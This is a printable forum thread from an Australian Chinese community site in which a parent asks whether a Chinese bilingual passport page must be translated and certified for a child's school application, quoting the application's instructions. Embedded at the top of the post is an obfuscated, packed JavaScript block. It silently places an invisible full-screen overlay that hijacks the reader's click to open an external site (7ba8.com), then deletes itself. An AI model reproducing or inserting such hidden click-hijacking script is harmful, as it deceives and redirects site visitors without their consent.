滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: 帮孩子申请学校，护照页面是否需要翻译和公证？ [打印本页]

作者: china_cjx 时间: 2016-11-16 11:47
标题: 帮孩子申请学校，护照页面是否需要翻译和公证？
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>请教大家个问题，我在帮孩子申请澳洲的学校，在网站上提交的文件中有一项是出生证明或带照片和出生日期的护照页面，需要提交两次，分别是原件和翻译件，我准备提交护照页面，问题是，它下面有一句说明，如果原件是英文版，就再把这件文件提交一次即可。咱们国家的护照我看了一下，是中英文双语的，是不是可以理解为英文版呢，是不是不用翻译了，直接再提交一次就OK了呢？如果需要翻译，是不是一定要经过公证呢，还是自己找个模板翻译一下上传就行了？如果要公证哪些人和机构有资格进行公证呢？
下面是它的一些提示：

To complete this Application you must provide the following original documents:
in the original language
translated into English, and
certified as true copies of the original documents by an authorised person of the country concerned.

If your original documents are in English, please upload them again under the certified English translations boxes.

需提交的资料如下：
Birth certificate OR passport page showing photograph and date of birth

欢迎光临滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (http://sydneybbs.com/)